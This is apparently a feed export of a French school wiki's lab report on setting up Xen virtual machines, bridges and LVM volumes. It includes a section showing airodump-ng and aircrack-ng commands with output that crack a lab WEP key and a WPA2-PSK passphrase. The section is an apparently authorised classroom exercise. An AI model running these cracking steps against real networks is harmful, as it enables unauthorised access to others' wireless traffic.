&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12370</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12370"/>
		<updated>2026-02-24T11:37:16Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Comment lire ça ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
=== Différence avec une machine physique ===&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
